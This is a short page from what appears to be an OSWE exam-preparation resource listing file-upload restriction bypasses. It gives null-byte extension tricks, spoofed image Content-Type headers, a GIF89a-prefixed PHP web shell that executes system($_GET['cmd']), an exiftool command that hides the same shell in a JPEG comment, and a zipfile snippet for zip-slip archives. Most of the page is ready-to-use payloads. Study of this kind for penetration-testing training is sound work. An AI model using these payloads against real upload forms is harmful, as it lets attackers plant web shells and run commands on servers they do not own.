> For the complete documentation index, see [llms.txt](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/file-upload-restrictions-bypass/tricks.md).

# Tricks

## Null Byte <a href="#gif-89-a-header" id="gif-89-a-header"></a>

* .php%00.gif
* .php\x00.gif
* .php%00.png
* .php\x00.png
* .php%00.jpg
* .php\x00.jpg

## Mime type

* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`

## GIF89a; <a href="#gif-89-a-header" id="gif-89-a-header"></a>

```
GIF89a;
<?
system($_GET['cmd']);
?>
```

## Inside image's content

```
exiftool -Comment='<?php system($_GET['cmd']); ?>' photo.jpg
```

## Create ZIP manually (e.g: zipslip)

### Using [zipfile](https://docs.python.org/3/library/zipfile.html)

```python
from zipfile import ZipFile

zip = ZipFile("test.zip", "w")
zip.writestr("path", "content")

zip.close()
```
